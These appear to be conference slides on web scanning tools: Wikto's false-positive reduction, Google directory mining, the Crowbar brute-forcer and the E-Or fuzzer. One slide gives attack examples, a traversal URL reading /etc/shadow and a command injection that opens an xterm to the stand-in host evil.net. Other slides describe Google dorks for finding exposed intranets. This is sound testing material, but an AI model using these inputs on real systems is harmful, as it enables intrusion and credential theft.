Agenda
Disclaimer
About SensePost
Introduction
Network application level testing
Application testing
Conclusion
Questions
Introduction
Breaking/Securing networks involves many things:
Network: discovery - dude, where’s my network?
Network level: Exposed services – mostly 80,443
and 25
Network application level: anything between
network level and application level)
Application level: the new frontier – home grown
applications
Content level: worms/virus/(spam) via Email
Others:
Network: Wireless/RAS/3rd party links
Social engineering
Introduction – why do we worry?
Network: Large companies have large networks. Multiple ISPs,
Internet connections, thousands of domains…in multiple
countries, under the control of many different people speaking
different languages. In many cases they simply DON’T KNOW
what’s out there.
Network app level: The patching game – need we say more?
Application level: Problem lies with developers. Skill level of
attacker are higher than defenders. Defenders are not developers.
Difficult to determine if an app is broken.
Assessing these areas are notoriously difficult
Network application level
We focus on 80 (HTTP) and 443 (HTTPs)
If you can do 80 then you can do 443 with an SSL relay
This is the CGI scanner’s domain.
Things these scanners search for:
o Sample scripts
o Administrative back-ends and “interesting” files
o Encoding problems
o Sanitization problems in known apps
o XSS in known apps
Scanners work by basically sending a request and inspecting the
response.
Main non-commercial players:
• Nikto (using RFP’s LibWhisker)
• Nessus
Network application level
Problems with almost all scanners:
Things they don’t do:
• Intelligently looking at responses
• Initial CGI directory mining
• Recursively scan for directories (e.g. /admin/backup/)
Result:
• We miss stuff
• We get load of false positives
• Generally speaking, we can’t perform scans…
Network application level
Let’s look in more detail.
What’s the problem with testing for 200s?
Web servers can be configured to reply with “friendly 404s”. This
means that we don’t get a proper 404 Not Found but rather a 200
OK when the resource is not found.
The same applies for 302, 301 etc. Does this look familiar:
Over 30 "Moved" messages, this may be a by-product of the server
answering all requests with a "302" or "301" Moved message. You
should manually verify your results.
(Nikto scan ‘breaking’)
Network application level
Let’s look in more detail.
Nikto: (in the db)
"generic","/cpanel/","200","GET","Web-based control panel“
"generic","/GWWEB.EXE?HELP=bad-request","Could not find file
SYS","GET","Groupwise allows system information and file retrieval by
modifying arguments to the help system. CAN-2002-0341."
The first entry asks for /cpanel/ and will trigger as positive when a
HTTP 200 OK is returned
The second entry looks for “Could not find file SYS” string in the
response.
The second type of test is obviously less prone to false positives.
Unfortunately only +-25% of Nikto DB entries are built like this
Network application level
How does Nessus do it?
Nessus has a plugin called no404.nasl that tries to address the
problem.
How does no404.nasl work?
It runs before any other CGI type checks. It checks server
response when requesting a non-existent file against a list of
possible responses. If the response match any of the stored
responses it stores the response in the KB. When subsequent
plugins request a CGI, it compares the response to the stored
response in the KB.
So – what’s the problem??
Network application level
Works fine when server responses for unknown resources are
consistent. But…
• Extension bindings – e.g. .servlet is handled by other subsystem
• Virtual directories - /scripts/ could be passed to other web server.
Thus – no404.nasl is a start, but still breaks too frequently.
We need something that is
• Totally status code independent
• Sensitive to extension
• Sensitive to location
Network application level
What happens when small things leads to bigger things:
The brief history of Wikto:
• Gareth and his directory miner
• SensePost C# course
• Problems with 302s,403s on directories and recursion. YUK!!
• Per location/directory – store response, and compare
• If this works…why not read Nikto DB?
• Per location/directory, per extension – store response, and
compare
• Let’s call it Wikto – Nikto for Windows…
• Let’s use Google to mine directories?!
• Google? J0hnny Long and the Google Hacks!
Network application level
Wikto Logic:
1. Analyze request - extract the location and extension
2. Request a nonexistent resource with same location and extension
3. Store the response
4. Request the real resource
5. Compare the responses
6. If the responses match -> negative; else positive.
Example:
1. Nikto DB entry: /scripts/showcode.asp
2. Location: /scripts/, Extension: .asp
3. Request: /scripts/moomoomoo.asp
4. Response is : HTTP 200 OK – your file is not here (friendly)
5. Request: /scripts/showcode.asp
6. Response is : HTTP 200 OK – your file is not here (friendly)
7. Compare content – it’s the same. Test is: negative.
Network application level
Network application level
Network application level
Challenges faced when building Wikto:
Extraction of location and extension
/scripts/showcode.asp is obvious…but what about
/%c0%af/…/./dosomething=admin?mooblah.mdb
Comparing responses – at the moment Wikto compare is very
basic (but seems to work OKishly)
The rest was fairly easy…
Network application level
Can we use these techniques to improve Nessus CGI scanning?
YES!
Most plugins use is_cgi_installed_ka to determine if a CGI is there.
Rewrote the function in such a way that:
• It does not look for status codes anymore
• Performs Wikto style checking
• Stores responses in KB – e.g. no need to do dummy requests
again
• Drop-in replacement for function
• Awaiting community feedback…
Results:
• Dramatic improvement on false positives where server responses
differ in terms of location and extension. (18 false positives vs. none)
• KB larger (+-120k per host)
• Slightly slower initial scan
Network application level
Others cool things that Wikto do:
Mine directories using Google. Amazing results on nice fat corporate
web sites. These are used for input for the backend miner & Wikto.
How does it work?
Google for keyword site: www.corp.com –filetype: XXX where XXX is
asp, php, pl, cgi etc. and keyword is a common word to the site.
Finds files in different directories – mines the directories.
Nice side effect – looks for doc, ppt, xls etc. Maybe these are
indexable?
Why??? Admin backend interface might be sitting at
/fatcorp/admin/login.asp – which you would miss if you didn’t know
that /fatcorp existed.
Network application level
Network application level
Others cool things that Wikto do:
Google Hacking Data Base (since we are busy with Google).
GHDB is a collection of interesting search terms that yields
interesting results. See http://johhny.ihackstuff.com for more details.
By adding a site: directive to the search we narrow it down to our
target domain.
Example:
Google Search: "Welcome to Intranet“
Description: According to whatis.com: "An intranet is a private network that is contained within an
enterprise. The main purpose of an intranet is to share company information and computing resources among
employees and in general looks like a private version of the Internet." Intranets, by definition should not be
available to the Internet's unwashed masses as they may contain private corporate information.
It now becomes: “Welcome to Intranet” site: fatcorp.com
Network application level
Wikto Demo…
Brute forcing tools - crowbar
Currently we are stuck with tools that
• Are not generic enough
• Tries to predict the behavior of the system
• Can only perform tests on parameters passed
• Have to PERL it every time
• Positive response not always known
Crowbar (beta)
• Tries to be as generic as possible
• Can brute 2 parameters at a time
• Can brute anything in the request – e.g. parameters, cookie, URL
• Users creates a “base response”
• Uses Wikto content comparison to find “positives”
• User can tune fuzzy logic trigger levels to get only relevant data
Crowbar – BETA!
Application level
Application level – anything that resides on top of a web server. Most
of the time this is home grown applications.
Why are we worried/excited about web applications:
• Cannot download a patch and apply it
• Firewalls (unless application aware) are useless
• IDS is mostly useless (SSL …and it’s perfectly clean HTTP)
• Difficult to detect even on application layer
• Apps frequently needs to talk to databases….
• Databases & app servers are frequently found on internal nets
• Traditionally, developers and security admins are not friends
Application level
Information Gathering: Anything that could help one later. Error messages,
File System & Directory Traversal Attacks : Where filename are involved
–e.g. http//duh/showfile.pl?f=../../../etc/shadow
Command Execution: Where you suspect data is passed to an external
process. Use ; | > & && etc. to add your own commands – e.g.
http://duh/ping.pl?target=127.0.0.1;xterm –display evil.net:0.0
SQL & Database Query Injection: Where you suspect your input is handed
to a database e.g. http://duh/news.asp?article=88221
Cross Site Scripting: The application doesn’t properly sanitize output
Trick the server into sending the user code
Impersonation Attacks: Authentication & Authorization
How does the app know who you are? Is each transaction authorized?
Parameter Passing: Cookies, hidden fields, URL strings. Complex
application HAS to keep state somewhere
Application level
So you want to write a web app scanner?
Get the all possible actions that handle parameters:
• Mirroring problems – logout button, calendars, recursive forms
• Forms that prevent access to parts of application (e.g. login page,
select account)
• State variables…(in forms or as cookies)
Interpret results:
• How do we get the pages back? 302s, frames, flash, etc. etc.
• How do we know when we have broken something? (the view
balance problem)
Application level
E-Or – a short history
2002-q2: Mieliekoek (corncake): Mirrors site via HTTTrack and finds all
actions that handle parameters. Only searches for SQL injection. Failed for
anything that requires login. Written in PERL. Command line…sucks but
gets lots of “airtime” – as it gets mentioned in SQL insertion worm paper.
2002-q3: MKv2 – the same, but with a horrible GUI interface for Win32.
Interface causes interesting mental problems in sensitive users…
2003-q1: MKX – reads from @stake webproxy file writer logs. Handles
HTTP headers and thus state information. Written in PERL, command line
interface. Fails because of complex parameter selection.
2004-q2: Works starts on project codename WebDonkey. Win32 based,
.NET c#. Beta tests fail, redesign, re-implement, goto 10…
2005-q1: After n iterations we have something that appears to work. Name
changed to E-Or. Still breaks on occasion but shows lots of promise.
Application level
E-Or – design criteria
User should choose which part of the application to test
User should be manually “mirror” application (e.g. fill in forms)
Using Paros/@stake web proxy file writer to record steps
Ability to disable actions
Ability to hardcode variables to user defined values
Ability to keep variables as they were in the “surf”
Ability to disable variables (actions that use the variable)
Ability to fuzz variables
Ability to configure fuzz strings
Fuzzing via a real browser (IE) – addresses rendering problem
Should be able to view result as text or as screenshots
Movie type view
Ability to replay a fuzz request
Application level
E-Or – the process
• User walks the target application
• Proxy writes requests and responses to file
• User reads file, configures which actions and variables to fuzz
• User configured state information such as Cookies in HTTP headers
• Each action and variable is fuzzed using IE as a rendering tool
• Screenshots of each reply is taken, rendered text is saved from browser
• User can now watch the responses as a “movie”, pausing anywhere
• User can reply the request
Application level
E-Or – enough talking – let’s see some action
Application level
E-Or – enough talking – let’s see some action
Application level
E-Or – enough talking – let’s see some action
Application level
E-Or – enough talking – let’s see some action
Application level
E-Or – enough talking – let’s see some action
Application level
E-Or – enough talking – let’s see some action
Application level
E-Or – challenges in implementation
Logic between parameters, values, actions (e.g. the tree views)
Appears that “Cookie” cannot be set in HTTP header via COM
(Cooki…but not Cookie)
How to decide if the browser is done (read redirects, frames)
Screen shots and conversions
Challenges in usability
It is complex to use – but it is a complex problem
Given design constraints it is probably as simple as you can go
Application level
E-Or – new features (coming soon)
Ability to combine output that are identical (e.g. show only unique
responses)
Search & filter on results (on the text based output)
Fuzzing categories (e.g. Unix specific, Windows specific, SQL
problems, XSS etc.)
Fuzzing each variable per category – e.g. news.asp?id=121. Fuzz id
using certain categories – SQL checks, Windows specific
Application level
E-Or - demo
